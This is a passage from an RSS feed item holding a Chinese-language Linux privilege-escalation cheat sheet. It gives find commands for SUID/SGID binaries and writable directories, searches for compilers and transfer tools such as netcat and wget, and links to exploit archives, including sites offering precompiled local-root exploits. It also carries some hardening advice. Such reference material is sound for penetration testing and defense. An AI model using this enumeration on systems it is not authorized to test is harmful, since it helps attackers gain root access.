SGIDorSUID, not Symbolic links, only 3<br/>folders deep, list with more detail and hideany errors (e.g. permission<br/>denied)<br/>find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld &#123;&#125; ;2&gt;/dev/null</div><br/>在哪些目录可以写入和执行呢？几个“共同”的目录：/ tmp目录，/var / tmp目录/ dev /shm目录<br/><div class="code">find / -writable -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# world-writeable folders<br/>find / -perm -222 -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# world-writeable folders<br/>find / -perm -o+w -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# world-writeable folders<br/>find / -perm -o+x -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# world-executable folders<br/>find / ( -perm -o+w -perm -o+x ) -type d 2&gt;/dev/null&nbsp;&nbsp; # world-writeable &amp; executable folders<br/>Any &quot;problem&quot; files？可写的的，“没有使用&quot;的文件<br/>find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print&nbsp;&nbsp; # world-writeable files<br/>find /dir -xdev ( -nouser -o -nogroup ) -print&nbsp;&nbsp; # Noowner files</div><br/>准备和查找漏洞利用代码<br/>安装了什么开发工具/语言/支持？<br/><div class="code">find / -name perl*<br/>find / -name python*<br/>find / -name gcc*<br/>find / -name cc</div><br/>如何上传文件？<br/><div class="code">find / -name wget<br/>find / -name nc*<br/>find / -name netcat*<br/>find / -name tftp*<br/>find / -name ftp</div><br/>查找exploit代码<br/><a href="http://www.exploit-db.com" target="_blank">http://www.exploit-db.com</a> <br/><a href="http://1337day.com" target="_blank">http://1337day.com</a> <br/><a href="http://www.securiteam.com" target="_blank">http://www.securiteam.com</a> <br/><a href="http://www.securityfocus.com" target="_blank">http://www.securityfocus.com</a> <br/><a href="http://www.exploitsearch.net" target="_blank">http://www.exploitsearch.net</a> <br/><a href="http://metasploit.com/modules/" target="_blank">http://metasploit.com/modules/</a> <br/><a href="http://securityreason.com" target="_blank">http://securityreason.com</a> <br/><a href="http://seclists.org/fulldisclosure/" target="_blank">http://seclists.org/fulldisclosure/</a> <br/><a href="http://www.google.com" target="_blank">http://www.google.com</a> <br/>查找更多有关漏洞的信息<br/><a href="http://www.cvedetails.com" target="_blank">http://www.cvedetails.com</a> <br/><a href="http://packetstormsecurity.org/files/cve/" target="_blank">http://packetstormsecurity.org/files/cve/</a>[CVE] <br/><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=</a>[CVE]]http://cve.mitre.org... <br/><a href="http://www.vulnview.com/cve-details.php?cvename=" target="_blank">http://www.vulnview.com/cve-details.php?cvename=</a>[CVE]]http://www.vulnvie... <br/><a href="http://www.91ri.org/" target="_blank">http://www.91ri.org/</a> <br/>(快速）“共同的“exploit,预编译二进制代码文件<br/><a href="http://tarantula.by.ru/localroot/" target="_blank">http://tarantula.by.ru/localroot/</a> <br/><a href="http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/" target="_blank">http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/</a> <br/>上面的信息很难吗？<br/>快去使用第三方脚本/工具来试试吧！<br/>系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？<br/><div class="code">apt-get update &amp;&amp; apt-get upgrade</div><br/>yum update<br/>服务运行所需的最低的权限？<br/>例如，你需要以root身份运行MySQL？<br/>能够从以下网站找到自动运行的脚本？！<br/><a href="http://pentestmonkey.net/tools/unix-privesc-check/" target="_blank">http://pentestmonkey.net/tools/unix-privesc-check/</a> <br/><a href="http://labs.portcullis.co.uk/application/enum4linux/" target="_blank">http://labs.portcullis.co.uk/application/enum4linux/</a> <br/><a href="http://bastille-linux.sourceforge.net" target="_blank">http://bastille-linux.sourceforge.net</a> <br/>（快速）指南和链接<br/>例如<br/><a href="http://www.0daysecurity.com/penetration-testing/enumeration.html" target="_blank">http://www.0daysecurity.com/penetration-testing/enumeration.html</a> <br/><a href="http://www.microloft.co.uk/hacking/hacking3.htm" target="_blank">http://www.microloft.co.uk/hacking/hacking3.htm</a> <br/>其他<br/><a href="http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf" target="_blank">http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf</a> <br/><a href="http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09..." target="_blank">http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09...</a> <br/><a href="http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html" target="_blank">http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html</a><br/></span><br/></span>
]]>
</description>
</item>
</channel>
</rss>